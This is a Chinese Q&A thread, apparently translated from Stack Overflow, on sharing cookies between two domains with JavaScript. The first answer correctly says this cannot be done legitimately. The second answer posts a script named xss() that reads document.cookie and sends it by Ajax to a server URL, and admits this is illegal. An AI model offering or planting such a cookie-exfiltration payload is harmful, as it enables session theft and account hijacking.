如何使用javascript在2个域之间共享cookie?

时间:2010-08-30 17:14:41

标签: javascript cookies

我希望能够在example.com和mysite.com之间访问和设置cookie。我该怎么做?

2 个答案:

答案 0 :(得分:2)

你不能单独使用cookie:它们是按域显式设置的,并且没有合法的(读取:“非漏洞利用”)方式为其他域设置它们。

但是,如果您控制两台服务器,可能会使用一些变通方法/黑客来实现这一目标,但实际情况并非如此,它可能会意外中断(请参阅this question;那里的答案应该有所帮助你找到了解决方案。)

答案 1 :(得分:0)

<script>
  function xss(){
    var cookies = document.cookie;
    new Ajax.Request('//localhost/index.php?cookies='+cookies, {
      onSuccess: function(response) {
        alert(cookies);
      }
    });
  }
  xss();
</script>

PS,但这是非法的。 我使用原型lib。